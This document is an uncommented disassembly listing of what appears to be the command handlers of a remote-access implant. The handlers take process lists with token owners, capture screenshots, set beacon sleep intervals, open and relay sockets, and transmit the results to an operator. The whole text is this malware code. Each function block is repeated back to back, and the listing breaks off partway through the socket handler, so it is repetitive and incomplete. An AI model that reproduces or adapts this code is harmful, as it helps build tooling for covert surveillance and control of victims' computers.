14000dcc0CommandProcList:
14000dcc0push r15
14000dcc2push r14
14000dcc4push r13
14000dcc6push r12
14000dcc8push rbp
14000dcc9push rdi
14000dccapush rsi
14000dccbmov rsi, rcx
14000dccexor ecx, ecx
14000dcd0push rbx
14000dcd1sub rsp, 120
14000dcd5mov [rsp+72], rcx
14000dcdalea rdx, [rsp+80]
14000dcdfmov [rsp+80], rcx
14000dce4mov [rsp+88], rcx
14000dce9mov [rsp+96], rcx
14000dceemov [rsp+104], rcx
14000dcf3lea rcx, [rsp+72]
14000dcf8call ProcessSnapShot
14000dcfdmov rbx, [rip+0x1e66c]
14000dd04test eax, eax
14000dd06js 0x14000df43
14000dd0cmov rax, [rsp+80]
14000dd11mov r9, [rsp+72]
14000dd16lea rbp, [rip+0x1eeb3]
14000dd1dmov r8l, 587
14000dd23mov rdx, rbp
14000dd26lea rcx, [rip+0x18447]
14000dd2dlea r13, [rip+0x184ad]
14000dd34mov [rsp+32], rax
14000dd39lea r14, [rip+0x18480]
14000dd40lea r15, [rip+0x182c1]
14000dd47call printf
14000dd4cmov ecx, 12
14000dd51mov r12, [rsp+72]
14000dd56call PackageCreate
14000dd5bmov rcx, rsi
14000dd5exor esi, esi
14000dd60mov [rsp+56], rax
14000dd65call ParserGetInt32
14000dd6amov rcx, [rsp+56]
14000dd6fmov edx, eax
14000dd71call PackageAddInt32
14000dd76
14000dd76loc_14000dd76:
14000dd76cmp [rbx+92], 2
14000dd7amov rax, [rsp+72]
14000dd7fsbb edx, edx
14000dd81mov ecx, [rax+80]
14000dd84and edx, -3072
14000dd8aadd edx, 4096
14000dd90call ProcessOpen
14000dd95mov rdi, rax
14000dd98test rax, rax
14000dd9bje 0x14000de14
14000dd9dlea r8, [rsp+88]
14000dda2mov edx, 8
14000dda7mov rcx, rax
14000ddaacall SysNtOpenProcessToken
14000ddafmov r9l, eax
14000ddb2test eax, eax
14000ddb4js 0x14000ddf9
14000ddb6mov rcx, [rsp+88]
14000ddbbxor r8l, r8l
14000ddbelea rdx, [rsp+96]
14000ddc3call TokenQueryOwner
14000ddc8test eax, eax
14000ddcajne 0x14000dde1
14000ddcclea r9, [rip+0x183ca]
14000ddd3mov r8l, 613
14000ddd9mov rdx, rbp
14000dddcmov rcx, r15
14000dddfjmp 0x14000ddf2
14000dde1
14000dde1loc_14000dde1:
14000dde1mov r9, [rsp+96]
14000dde6mov r8l, 615
14000ddecmov rdx, rbp
14000ddefmov rcx, r14
14000ddf2
14000ddf2loc_14000ddf2:
14000ddf2call printf
14000ddf7jmp 0x14000de0a
14000ddf9
14000ddf9loc_14000ddf9:
14000ddf9mov r8l, 618
14000ddffmov rdx, rbp
14000de02mov rcx, r13
14000de05call printf
14000de0a
14000de0aloc_14000de0a:
14000de0amov rcx, rdi
14000de0dcall ProcessIsWow
14000de12mov esi, eax
14000de14
14000de14loc_14000de14:
14000de14mov rax, [rsp+72]
14000de19mov rcx, [rsp+56]
14000de1emovzx r8l, [rax+56]
14000de23mov rdx, [rax+64]
14000de27call PackageAddBytes
14000de2cmov rax, [rsp+72]
14000de31mov rcx, [rsp+56]
14000de36mov edx, [rax+80]
14000de39call PackageAddInt32
14000de3emov rcx, [rsp+56]
14000de43mov edx, esi
14000de45call PackageAddInt32
14000de4amov rax, [rsp+72]
14000de4fmov rcx, [rsp+56]
14000de54mov edx, [rax+88]
14000de57call PackageAddInt32
14000de5cmov rax, [rsp+72]
14000de61mov rcx, [rsp+56]
14000de66mov edx, [rax+100]
14000de69call PackageAddInt32
14000de6emov rax, [rsp+72]
14000de73mov rcx, [rsp+56]
14000de78mov edx, [rax+4]
14000de7bcall PackageAddInt32
14000de80mov rdx, [rsp+96]
14000de85mov r8l, [rsp+104]
14000de8amov rcx, [rsp+56]
14000de8fcall PackageAddBytes
14000de94mov rdx, [rsp+72]
14000de99mov eax, [rbx+76]
14000de9ccmp [rdx+80], rax
14000dea0je 0x14000deaa
14000dea2mov rcx, rdi
14000dea5call SysNtClose
14000deaa
14000deaaloc_14000deaa:
14000deaamov rcx, [rsp+88]
14000deaftest rcx, rcx
14000deb2je 0x14000deb9
14000deb4call SysNtClose
14000deb9
14000deb9loc_14000deb9:
14000deb9mov rdi, [rsp+96]
14000debetest rdi, rdi
14000dec1je 0x14000def4
14000dec3mov ecx, [rsp+104]
14000dec7xor eax, eax
14000dec9rep stosb [rdi], al
14000decbmov rax, [rbx+2230]
14000ded2xor edx, edx
14000ded4mov r8, [rsp+96]
14000ded9mov rax, [rax+96]
14000deddmov rcx, [rax+48]
14000dee1call [rbx+332]
14000dee7xor eax, eax
14000dee9xor edx, edx
14000deebmov [rsp+96], rax
14000def0mov [rsp+104], edx
14000def4
14000def4loc_14000def4:
14000def4mov rax, [rsp+72]
14000def9mov edx, [rax]
14000defbtest edx, edx
14000defdje 0x14000df0c
14000deffadd rax, rdx
14000df02mov [rsp+72], rax
14000df07jmp 0x14000dd76
14000df0c
14000df0cloc_14000df0c:
14000df0cmov rcx, [rsp+56]
14000df11call PackageTransmit
14000df16test r12, r12
14000df19je 0x14000df57
14000df1bmov rcx, [rsp+80]
14000df20mov rdi, r12
14000df23xor eax, eax
14000df25rep stosb [rdi], al
14000df27mov rax, [rbx+2230]
14000df2emov r8, r12
14000df31xor edx, edx
14000df33mov rax, [rax+96]
14000df37mov rcx, [rax+48]
14000df3bcall [rbx+332]
14000df41jmp 0x14000df57
14000df43
14000df43loc_14000df43:
14000df43mov ecx, eax
14000df45call [rbx+348]
14000df4bmov ecx, 1
14000df50mov edx, eax
14000df52call PackageTransmitError
14000df57
14000df57loc_14000df57:
14000df57add rsp, 120
14000df5bpop rbx
14000df5cpop rsi
14000df5dpop rdi
14000df5epop rbp
14000df5fpop r12
14000df61pop r13
14000df63pop r14
14000df65pop r15
14000df67ret
14000dcc0
14000dcc0CommandProcList:
14000dcc0push r15
14000dcc2push r14
14000dcc4push r13
14000dcc6push r12
14000dcc8push rbp
14000dcc9push rdi
14000dccapush rsi
14000dccbmov rsi, rcx
14000dccexor ecx, ecx
14000dcd0push rbx
14000dcd1sub rsp, 120
14000dcd5mov [rsp+72], rcx
14000dcdalea rdx, [rsp+80]
14000dcdfmov [rsp+80], rcx
14000dce4mov [rsp+88], rcx
14000dce9mov [rsp+96], rcx
14000dceemov [rsp+104], rcx
14000dcf3lea rcx, [rsp+72]
14000dcf8call ProcessSnapShot
14000dcfdmov rbx, [rip+0x1e66c]
14000dd04test eax, eax
14000dd06js 0x14000df43
14000dd0cmov rax, [rsp+80]
14000dd11mov r9, [rsp+72]
14000dd16lea rbp, [rip+0x1eeb3]
14000dd1dmov r8l, 587
14000dd23mov rdx, rbp
14000dd26lea rcx, [rip+0x18447]
14000dd2dlea r13, [rip+0x184ad]
14000dd34mov [rsp+32], rax
14000dd39lea r14, [rip+0x18480]
14000dd40lea r15, [rip+0x182c1]
14000dd47call printf
14000dd4cmov ecx, 12
14000dd51mov r12, [rsp+72]
14000dd56call PackageCreate
14000dd5bmov rcx, rsi
14000dd5exor esi, esi
14000dd60mov [rsp+56], rax
14000dd65call ParserGetInt32
14000dd6amov rcx, [rsp+56]
14000dd6fmov edx, eax
14000dd71call PackageAddInt32
14000dd76
14000dd76loc_14000dd76:
14000dd76cmp [rbx+92], 2
14000dd7amov rax, [rsp+72]
14000dd7fsbb edx, edx
14000dd81mov ecx, [rax+80]
14000dd84and edx, -3072
14000dd8aadd edx, 4096
14000dd90call ProcessOpen
14000dd95mov rdi, rax
14000dd98test rax, rax
14000dd9bje 0x14000de14
14000dd9dlea r8, [rsp+88]
14000dda2mov edx, 8
14000dda7mov rcx, rax
14000ddaacall SysNtOpenProcessToken
14000ddafmov r9l, eax
14000ddb2test eax, eax
14000ddb4js 0x14000ddf9
14000ddb6mov rcx, [rsp+88]
14000ddbbxor r8l, r8l
14000ddbelea rdx, [rsp+96]
14000ddc3call TokenQueryOwner
14000ddc8test eax, eax
14000ddcajne 0x14000dde1
14000ddcclea r9, [rip+0x183ca]
14000ddd3mov r8l, 613
14000ddd9mov rdx, rbp
14000dddcmov rcx, r15
14000dddfjmp 0x14000ddf2
14000dde1
14000dde1loc_14000dde1:
14000dde1mov r9, [rsp+96]
14000dde6mov r8l, 615
14000ddecmov rdx, rbp
14000ddefmov rcx, r14
14000ddf2
14000ddf2loc_14000ddf2:
14000ddf2call printf
14000ddf7jmp 0x14000de0a
14000ddf9
14000ddf9loc_14000ddf9:
14000ddf9mov r8l, 618
14000ddffmov rdx, rbp
14000de02mov rcx, r13
14000de05call printf
14000de0a
14000de0aloc_14000de0a:
14000de0amov rcx, rdi
14000de0dcall ProcessIsWow
14000de12mov esi, eax
14000de14
14000de14loc_14000de14:
14000de14mov rax, [rsp+72]
14000de19mov rcx, [rsp+56]
14000de1emovzx r8l, [rax+56]
14000de23mov rdx, [rax+64]
14000de27call PackageAddBytes
14000de2cmov rax, [rsp+72]
14000de31mov rcx, [rsp+56]
14000de36mov edx, [rax+80]
14000de39call PackageAddInt32
14000de3emov rcx, [rsp+56]
14000de43mov edx, esi
14000de45call PackageAddInt32
14000de4amov rax, [rsp+72]
14000de4fmov rcx, [rsp+56]
14000de54mov edx, [rax+88]
14000de57call PackageAddInt32
14000de5cmov rax, [rsp+72]
14000de61mov rcx, [rsp+56]
14000de66mov edx, [rax+100]
14000de69call PackageAddInt32
14000de6emov rax, [rsp+72]
14000de73mov rcx, [rsp+56]
14000de78mov edx, [rax+4]
14000de7bcall PackageAddInt32
14000de80mov rdx, [rsp+96]
14000de85mov r8l, [rsp+104]
14000de8amov rcx, [rsp+56]
14000de8fcall PackageAddBytes
14000de94mov rdx, [rsp+72]
14000de99mov eax, [rbx+76]
14000de9ccmp [rdx+80], rax
14000dea0je 0x14000deaa
14000dea2mov rcx, rdi
14000dea5call SysNtClose
14000deaa
14000deaaloc_14000deaa:
14000deaamov rcx, [rsp+88]
14000deaftest rcx, rcx
14000deb2je 0x14000deb9
14000deb4call SysNtClose
14000deb9
14000deb9loc_14000deb9:
14000deb9mov rdi, [rsp+96]
14000debetest rdi, rdi
14000dec1je 0x14000def4
14000dec3mov ecx, [rsp+104]
14000dec7xor eax, eax
14000dec9rep stosb [rdi], al
14000decbmov rax, [rbx+2230]
14000ded2xor edx, edx
14000ded4mov r8, [rsp+96]
14000ded9mov rax, [rax+96]
14000deddmov rcx, [rax+48]
14000dee1call [rbx+332]
14000dee7xor eax, eax
14000dee9xor edx, edx
14000deebmov [rsp+96], rax
14000def0mov [rsp+104], edx
14000def4
14000def4loc_14000def4:
14000def4mov rax, [rsp+72]
14000def9mov edx, [rax]
14000defbtest edx, edx
14000defdje 0x14000df0c
14000deffadd rax, rdx
14000df02mov [rsp+72], rax
14000df07jmp 0x14000dd76
14000df0c
14000df0cloc_14000df0c:
14000df0cmov rcx, [rsp+56]
14000df11call PackageTransmit
14000df16test r12, r12
14000df19je 0x14000df57
14000df1bmov rcx, [rsp+80]
14000df20mov rdi, r12
14000df23xor eax, eax
14000df25rep stosb [rdi], al
14000df27mov rax, [rbx+2230]
14000df2emov r8, r12
14000df31xor edx, edx
14000df33mov rax, [rax+96]
14000df37mov rcx, [rax+48]
14000df3bcall [rbx+332]
14000df41jmp 0x14000df57
14000df43
14000df43loc_14000df43:
14000df43mov ecx, eax
14000df45call [rbx+348]
14000df4bmov ecx, 1
14000df50mov edx, eax
14000df52call PackageTransmitError
14000df57
14000df57loc_14000df57:
14000df57add rsp, 120
14000df5bpop rbx
14000df5cpop rsi
14000df5dpop rdi
14000df5epop rbp
14000df5fpop r12
14000df61pop r13
14000df63pop r14
14000df65pop r15
14000df67ret
14000dcc0
14000df68
14000df68 // align 0x10
14000df68 // align 0x10
14000df70
14000df70CommandScreenshot:
14000df70push rdi
14000df71lea rdi, [rip+0x1f448]
14000df78lea r9, [rip+0x19089]
14000df7fmov r8l, 2024
14000df85push rsi
14000df86lea rsi, [rip+0x1807b]
14000df8dmov rdx, rdi
14000df90push rbx
14000df91mov rcx, rsi
14000df94sub rsp, 48
14000df98call printf
14000df9dmov ecx, 2510
14000dfa2call PackageCreate
14000dfa7lea rdx, [rsp+40]
14000dfaclea rcx, [rsp+32]
14000dfb1mov rbx, rax
14000dfb4xor eax, eax
14000dfb6mov [rsp+32], rax
14000dfbbmov [rsp+40], rax
14000dfc0call WinScreenshot
14000dfc5test eax, eax
14000dfc7je 0x14000e002
14000dfc9lea r9, [rip+0x19043]
14000dfd0mov r8l, 2033
14000dfd6mov rdx, rdi
14000dfd9mov rcx, rsi
14000dfdccall printf
14000dfe1mov rcx, rbx
14000dfe4mov edx, 1
14000dfe9call PackageAddInt32
14000dfeemov r8, [rsp+40]
14000dff3mov rdx, [rsp+32]
14000dff8mov rcx, rbx
14000dffbcall PackageAddBytes
14000e000jmp 0x14000e024
14000e002
14000e002loc_14000e002:
14000e002mov rdx, rdi
14000e005mov rcx, rsi
14000e008lea r9, [rip+0x1901f]
14000e00fmov r8l, 2039
14000e015call printf
14000e01axor edx, edx
14000e01cmov rcx, rbx
14000e01fcall PackageAddInt32
14000e024
14000e024loc_14000e024:
14000e024mov rcx, rbx
14000e027call PackageTransmit
14000e02cadd rsp, 48
14000e030pop rbx
14000e031pop rsi
14000e032pop rdi
14000e033ret
14000df70
14000df70CommandScreenshot:
14000df70push rdi
14000df71lea rdi, [rip+0x1f448]
14000df78lea r9, [rip+0x19089]
14000df7fmov r8l, 2024
14000df85push rsi
14000df86lea rsi, [rip+0x1807b]
14000df8dmov rdx, rdi
14000df90push rbx
14000df91mov rcx, rsi
14000df94sub rsp, 48
14000df98call printf
14000df9dmov ecx, 2510
14000dfa2call PackageCreate
14000dfa7lea rdx, [rsp+40]
14000dfaclea rcx, [rsp+32]
14000dfb1mov rbx, rax
14000dfb4xor eax, eax
14000dfb6mov [rsp+32], rax
14000dfbbmov [rsp+40], rax
14000dfc0call WinScreenshot
14000dfc5test eax, eax
14000dfc7je 0x14000e002
14000dfc9lea r9, [rip+0x19043]
14000dfd0mov r8l, 2033
14000dfd6mov rdx, rdi
14000dfd9mov rcx, rsi
14000dfdccall printf
14000dfe1mov rcx, rbx
14000dfe4mov edx, 1
14000dfe9call PackageAddInt32
14000dfeemov r8, [rsp+40]
14000dff3mov rdx, [rsp+32]
14000dff8mov rcx, rbx
14000dffbcall PackageAddBytes
14000e000jmp 0x14000e024
14000e002
14000e002loc_14000e002:
14000e002mov rdx, rdi
14000e005mov rcx, rsi
14000e008lea r9, [rip+0x1901f]
14000e00fmov r8l, 2039
14000e015call printf
14000e01axor edx, edx
14000e01cmov rcx, rbx
14000e01fcall PackageAddInt32
14000e024
14000e024loc_14000e024:
14000e024mov rcx, rbx
14000e027call PackageTransmit
14000e02cadd rsp, 48
14000e030pop rbx
14000e031pop rsi
14000e032pop rdi
14000e033ret
14000df70
14000e034
14000e034 // align 0x10
14000e034 // align 0x10
14000e040
14000e040CommandSleep:
14000e040push rdi
14000e041mov rdi, rcx
14000e044mov ecx, 11
14000e049push rsi
14000e04apush rbx
14000e04bsub rsp, 32
14000e04fcall PackageCreate
14000e054mov rcx, rdi
14000e057mov rsi, rax
14000e05acall ParserGetInt32
14000e05fmov rbx, [rip+0x1e30a]
14000e066mov rcx, rdi
14000e069lea rdi, [rip+0x1ed90]
14000e070mov [rbx+96], eax
14000e073call ParserGetInt32
14000e078mov r9l, [rbx+96]
14000e07cmov rdx, rdi
14000e07fmov r8l, 186
14000e085lea rcx, [rip+0x17f90]
14000e08cmov [rbx+100], eax
14000e08fcall printf
14000e094mov r9l, [rbx+100]
14000e098mov rdx, rdi
14000e09bmov r8l, 187
14000e0a1lea rcx, [rip+0x17f9d]
14000e0a8call printf
14000e0admov edx, [rbx+96]
14000e0b0mov rcx, rsi
14000e0b3call PackageAddInt32
14000e0b8mov edx, [rbx+100]
14000e0bbmov rcx, rsi
14000e0becall PackageAddInt32
14000e0c3add rsp, 32
14000e0c7mov rcx, rsi
14000e0capop rbx
14000e0cbpop rsi
14000e0ccpop rdi
14000e0cdjmp 0x140018b90
14000e040
14000e040CommandSleep:
14000e040push rdi
14000e041mov rdi, rcx
14000e044mov ecx, 11
14000e049push rsi
14000e04apush rbx
14000e04bsub rsp, 32
14000e04fcall PackageCreate
14000e054mov rcx, rdi
14000e057mov rsi, rax
14000e05acall ParserGetInt32
14000e05fmov rbx, [rip+0x1e30a]
14000e066mov rcx, rdi
14000e069lea rdi, [rip+0x1ed90]
14000e070mov [rbx+96], eax
14000e073call ParserGetInt32
14000e078mov r9l, [rbx+96]
14000e07cmov rdx, rdi
14000e07fmov r8l, 186
14000e085lea rcx, [rip+0x17f90]
14000e08cmov [rbx+100], eax
14000e08fcall printf
14000e094mov r9l, [rbx+100]
14000e098mov rdx, rdi
14000e09bmov r8l, 187
14000e0a1lea rcx, [rip+0x17f9d]
14000e0a8call printf
14000e0admov edx, [rbx+96]
14000e0b0mov rcx, rsi
14000e0b3call PackageAddInt32
14000e0b8mov edx, [rbx+100]
14000e0bbmov rcx, rsi
14000e0becall PackageAddInt32
14000e0c3add rsp, 32
14000e0c7mov rcx, rsi
14000e0capop rbx
14000e0cbpop rsi
14000e0ccpop rdi
14000e0cdjmp 0x140018b90
14000e040
14000e0d2
14000e0d2 // align 0x10
14000e0d2 // align 0x10
14000e0e0
14000e0e0CommandSocket:
14000e0e0push rbp
14000e0e1mov rbp, rsp
14000e0e4push r15
14000e0e6push r14
14000e0e8push r13
14000e0eapush r12
14000e0ecpush rdi
14000e0edpush rsi
14000e0eepush rbx
14000e0efmov rbx, rcx
14000e0f2mov ecx, 2540
14000e0f7and rsp, -16
14000e0fbsub rsp, 96
14000e0ffcall PackageCreate
14000e104mov rcx, rbx
14000e107mov [rsp+72], rax
14000e10ccall ParserGetInt32
14000e111mov rcx, [rsp+72]
14000e116mov esi, eax
14000e118mov edx, esi
14000e11acall PackageAddInt32
14000e11fcmp esi, 20
14000e122ja 0x14000e728
14000e128lea rdx, [rip+0x192b1]
14000e12fmovsxd rax, [rdx+4*rsi]
14000e133add rax, rdx
14000e136jmp rax
14000e138lea r9, [rip+0x190bb]
14000e13fmov r8l, 2689
14000e145lea rdx, [rip+0x1efb4]
14000e14clea rcx, [rip+0x17eb5]
14000e153call printf
14000e158mov rcx, rbx
14000e15bcall ParserGetInt32
14000e160mov rcx, rbx
14000e163mov r12l, eax
14000e166call ParserGetInt32
14000e16bmov rcx, rbx
14000e16emov edi, eax
14000e170call ParserGetInt32
14000e175mov rcx, rbx
14000e178mov esi, eax
14000e17acall ParserGetInt32
14000e17fmov [rsp+40], esi
14000e183xor r9l, r9l
14000e186xor ecx, ecx
14000e188mov [rsp+48], eax
14000e18cmov r8l, r12l
14000e18fmov edx, 1
14000e194mov r13l, eax
14000e197mov [rsp+32], edi
14000e19bcall SocketNew
14000e1a0xor edx, edx
14000e1a2mov rcx, [rsp+72]
14000e1a7test rax, rax
14000e1aamov rbx, rax
14000e1adsetne dl
14000e1b0call PackageAddInt32
14000e1b5xor edx, edx
14000e1b7test rbx, rbx
14000e1baje 0x14000e1be
14000e1bcmov edx, [rbx]
14000e1be
14000e1beloc_14000e1be:
14000e1bemov rcx, [rsp+72]
14000e1c3call PackageAddInt32
14000e1c8mov rcx, [rsp+72]
14000e1cdmov edx, r12l
14000e1d0call PackageAddInt32
14000e1d5mov rcx, [rsp+72]
14000e1damov edx, edi
14000e1dccall PackageAddInt32
14000e1e1mov rcx, [rsp+72]
14000e1e6mov edx, esi
14000e1e8call PackageAddInt32
14000e1edmov edx, r13l
14000e1f0jmp 0x14000e66f
14000e1f5lea r9, [rip+0x19012]
14000e1fcmov r8l, 2724
14000e202lea rdx, [rip+0x1eef7]
14000e209lea rcx, [rip+0x17df8]
14000e210call printf
14000e215mov rax, [rip+0x1e154]
14000e21cmov rbx, [rax+2326]
14000e223
14000e223loc_14000e223:
14000e223test rbx, rbx
14000e226je 0x14000e728
14000e22ccmp [rbx+16], 1
14000e230jne 0x14000e272
14000e232mov edx, [rbx]
14000e234mov rcx, [rsp+72]
14000e239call PackageAddInt32
14000e23emov edx, [rbx+20]
14000e241mov rcx, [rsp+72]
14000e246call PackageAddInt32
14000e24bmov edx, [rbx+32]
14000e24emov rcx, [rsp+72]
14000e253call PackageAddInt32
14000e258mov edx, [rbx+36]
14000e25bmov rcx, [rsp+72]
14000e260call PackageAddInt32
14000e265mov edx, [rbx+40]
14000e268mov rcx, [rsp+72]
14000e26dcall PackageAddInt32
14000e272
14000e272loc_14000e272:
14000e272mov rbx, [rbx+48]
14000e276jmp 0x14000e223
14000e278lea rdx, [rip+0x1ee81]
14000e27flea r9, [rip+0x18f9d]
14000e286mov r8l, 2752
14000e28clea rcx, [rip+0x17d75]
14000e293call printf
14000e298mov rcx, rbx
14000e29bcall ParserGetInt32
14000e2a0mov rdx, [rip+0x1e0c9]
14000e2a7mov rdx, [rdx+2326]
14000e2ae
14000e2aeloc_14000e2ae:
14000e2aetest rdx, rdx
14000e2b1je 0x14000e728
14000e2b7cmp [rdx+16], 1
14000e2bbjne 0x14000e2cd
14000e2bdcmp [rdx], eax
14000e2bfjne 0x14000e2cd
14000e2c1mov [rdx+16], 4
14000e2c8jmp 0x14000e70e
14000e2cd
14000e2cdloc_14000e2cd:
14000e2cdmov rdx, [rdx+48]
14000e2d1jmp 0x14000e2ae
14000e2d3lea r9, [rip+0x18f60]
14000e2damov r8l, 2780
14000e2e0lea rdx, [rip+0x1ee19]
14000e2e7lea rcx, [rip+0x17d1a]
14000e2eecall printf
14000e2f3mov rax, [rip+0x1e076]
14000e2famov rax, [rax+2326]
14000e301
14000e301loc_14000e301:
14000e301test rax, rax
14000e304je 0x14000e70e
14000e30acmp [rax+16], 1
14000e30ejne 0x14000e317
14000e310mov [rax+16], 4
14000e317
14000e317loc_14000e317:
14000e317mov rax, [rax+48]
14000e31bjmp 0x14000e301
14000e31dlea r9, [rip+0x18f2c]
14000e324mov r8l, 2801
14000e32alea rdx, [rip+0x1edcf]
14000e331lea rcx, [rip+0x17cd0]
14000e338call printf
14000e33djmp 0x14000e728
14000e342lea r12, [rip+0x1edb7]
14000e349lea r9, [rip+0x18f16]
14000e350mov r8l, 2808
14000e356mov rdx, r12
14000e359lea rcx, [rip+0x17ca8]
14000e360call printf
14000e365xor ecx, ecx
14000e367mov [rsp+80], rcx
14000e36cmov [rsp+88], rcx
14000e371mov rcx, rbx
14000e374call ParserGetInt32
14000e379lea rdx, [rsp+88]
14000e37emov rcx, rbx
14000e381mov esi, eax
14000e383call ParserGetBytes
14000e388mov rdi, [rip+0x1dfe1]
14000e38fmov [rsp+80], rax
14000e394mov rdx, rax
14000e397mov rcx, [rdi+2326]
14000e39e
14000e39eloc_14000e39e:
14000e39etest rcx, rcx
14000e3a1jne 0x14000e3c3
14000e3a3mov r9l, esi
14000e3a6mov r8l, 2826
14000e3acmov rdx, r12
14000e3afxor r13l, r13l
14000e3b2lea rcx, [rip+0x18ebb]
14000e3b9call printf
14000e3bejmp 0x14000e44d
14000e3c3
14000e3c3loc_14000e3c3:
14000e3c3cmp [rcx], esi
14000e3c5jne 0x14000e444
14000e3c7mov r13l, [rcx+16]
14000e3cbxor r9l, r9l
14000e3cemov rcx, [rcx+8]
14000e3d2mov r8l, [rsp+88]
14000e3d7call [rdi+1924]
14000e3ddinc eax
14000e3dfje 0x14000e41a
14000e3e1mov [rsp+32], esi
14000e3e5mov r9l, [rsp+88]
14000e3eamov rdx, r12
14000e3edmov r8l, 2837
14000e3f3lea rcx, [rip+0x18ea5]
14000e3facall printf
14000e3ffmov rcx, [rsp+72]
14000e404call PackageDestroy
14000e409lea rsp, [rbp-56]
14000e40dpop rbx
14000e40epop rsi
14000e40fpop rdi
14000e410pop r12
14000e412pop r13
14000e414pop r14
14000e416pop r15
14000e418pop rbp
14000e419ret
14000e41a
14000e41aloc_14000e41a:
14000e41acall [rdi+1868]
14000e420mov [rsp+32], esi
14000e424mov r9l, [rsp+88]
14000e429mov r8l, 2842
14000e42fmov [rsp+40], eax
14000e433mov rdx, r12
14000e436lea rcx, [rip+0x18e90]
14000e43dcall printf
14000e442jmp 0x14000e44d
14000e444
14000e444loc_14000e444:
14000e444mov rcx, [rcx+48]
14000e448jmp 0x14000e39e
14000e44d
14000e44dloc_14000e44d:
14000e44dmov rcx, [rsp+72]
14000e452mov edx, esi
14000e454call PackageAddInt32
14000e459mov rcx, [rsp+72]
14000e45emov edx, r13l
14000e461call PackageAddInt32
14000e466mov rcx, [rsp+72]
14000e46bxor edx, edx
14000e46dcall PackageAddInt32
14000e472call [rdi+1868]
14000e478mov rcx, [rsp+72]
14000e47dmov edx, eax
14000e47fcall PackageAddInt32
14000e484lea r14, [rip+0x1ec75]
14000e48blea r9, [rip+0x18e7b]
14000e492mov r8l, 2867
14000e498mov rdx, r14
14000e49blea rcx, [rip+0x17b66]
14000e4a2call printf
14000e4a7xor edx, edx
14000e4a9mov rcx, rbx
14000e4acmov [rsp+80], edx
14000e4b0call ParserGetInt32
14000e4b5mov rcx, rbx
14000e4b8mov r12l, eax
14000e4bbcall ParserGetByte
14000e4c0lea rdx, [rsp+80]
14000e4c5mov rcx, rbx
14000e4c8mov edi, eax
14000e4cacall ParserGetBytes
14000e4cfmov rcx, rbx
14000e4d2mov rsi, rax
14000e4d5call ParserGetInt16
14000e4damovsx r13l, ax
14000e4decmp dil, 1
14000e4e2jne 0x14000e4ef
14000e4e4mov esi, [rsi]
14000e4e6xor ebx, ebx
14000e4e8xor edi, edi
14000e4eajmp 0x14000e572
14000e4ef
14000e4efloc_14000e4ef:
14000e4efcmp dil, 3
14000e4f3jne 0x14000e542
14000e4f5mov eax, [rsp+80]
14000e4f9mov r15, [rip+0x1de70]
14000e500mov ecx, 64
14000e505lea edx, [rax+1]
14000e508call [r15+932]
14000e50fmov ecx, [rsp+80]
14000e513mov rdi, rax
14000e516mov rbx, rax
14000e519rep movsb [rdi], [rsi]
14000e51bmov rcx, rax
14000e51exor edi, edi
14000e520call DnsQueryIPv4
14000e525mov esi, eax
14000e527test eax, eax
14000e529jne 0x14000e536
14000e52bmov rcx, rbx
14000e52ecall DnsQueryIPv6
14000e533mov rdi, rax
14000e536
14000e536loc_14000e536:
14000e536mov rcx, rbx
14000e539call [r15+940]
14000e540jmp 0x14000e572
14000e542
14000e542loc_14000e542:
14000e542cmp dil, 4
14000e546jne 0x14000e56c
14000e548mov rax, [rip+0x1de21]
14000e54fmov edx, 16
14000e554mov ecx, 64
14000e559xor ebx, ebx
14000e55bcall [rax+932]
14000e561movups x0, [rsi]
14000e564mov rdi, rax
14000e567movups [rax], x0
14000e56ajmp 0x14000e570
14000e56c
14000e56cloc_14000e56c:
14000e56cxor ebx, ebx
14000e56exor edi, edi
14000e570
14000e570loc_14000e570:
14000e570xor esi, esi
14000e572
14000e572loc_14000e572:
14000e572mov r9l, r12l
14000e575mov r8l, 2919
14000e57bmov rdx, r14
14000e57elea rcx, [rip+0x18d98]
14000e585call printf
14000e58atest esi, esi
14000e58cjne 0x14000e597
14000e58etest rdi, rdi
14000e591je 0x14000e639
14000e597
14000e597loc_14000e597:
14000e597xor eax, eax
14000e599mov [rsp+32], r13l
14000e59emov r9, rdi
14000e5a1mov r8l, esi
14000e5a4mov [rsp+48], eax
14000e5a8mov edx, 2
14000e5adxor ecx, ecx
14000e5afmov [rsp+40], eax
14000e5b3call SocketNew
14000e5b8mov rbx, rax
14000e5bbtest rax, rax
14000e5beje 0x14000e5c7
14000e5c0mov [rax], r12l
14000e5c3xor esi, esi
14000e5c5jmp 0x14000e5f0
14000e5c7
14000e5c7loc_14000e5c7:
14000e5c7mov rax, [rip+0x1dda2]
14000e5cemov r8l, 2933
14000e5d4mov rdx, r14
14000e5d7lea rcx, [rip+0x18d5e]
14000e5demov rax, [rax+2230]
14000e5e5mov esi, [rax+104]
14000e5e8mov r9l, esi
14000e5ebcall printf
14000e5f0
14000e5f0loc_14000e5f0:
14000e5f0mov rcx, [rsp+72]
14000e5f5xor edx, edx
14000e5f7test rbx, rbx
14000e5fasetne dl
14000e5fdcall PackageAddInt32
14000e602mov rcx, [rsp+72]
14000e607mov edx, r12l
14000e60acall PackageAddInt32
14000e60fmov rcx, [rsp+72]
14000e614mov edx, esi
14000e616call PackageAddInt32
14000e61btest rdi, rdi
14000e61eje 0x14000e728
14000e624mov rax, [rip+0x1dd45]
14000e62bmov rcx, rdi
14000e62ecall [rax+940]
14000e634jmp 0x14000e728
14000e639
14000e639loc_14000e639:
14000e639mov r9, rbx
14000e63cmov r8l, 2940
14000e642mov rdx, r14
14000e645lea rcx, [rip+0x18d18]
14000e64ccall printf
14000e651mov rcx, [rsp+72]
14000e656xor edx, edx
14000e658call PackageAddInt32
14000e65dmov rcx, [rsp+72]
14000e662mov edx, r12l
14000e665call PackageAddInt32
14000e66amov edx, 10065
14000e66f
14000e66floc_14000e66f:
14000e66fmov rcx, [rsp+72]
14000e674call PackageAddInt32
14000e679jmp 0x14000e728
14000e67elea rsi, [rip+0x1ea7b]
14000e685lea r9, [rip+0x18d06]
14000e68cmov r8l, 2958
14000e692mov rdx, rsi
14000e695lea rcx, [rip+0x1796c]
14000e69ccall printf
14000e6a1mov rcx, rbx
14000e6a4call ParserGetInt32
14000e6a9mov r8l, 2965
14000e6afmov rdx, rsi
14000e6b2lea rcx, [rip+0x18ce7]
14000e6b9mov r9l, eax
14000e6bcmov [rsp+68], eax
14000e6c0call printf
14000e6c5mov rax, [rip+0x1dca4]
14000e6ccmov r9l, [rsp+68]
14000e6d1mov rbx, [rax+2326]
14000e6d8
14000e6d8loc_14000e6d8:
14000e6d8test rbx, rbx
14000e6dbje 0x14000e70e
14000e6ddcmp [rbx], r9l
14000e6e0jne 0x14000e708
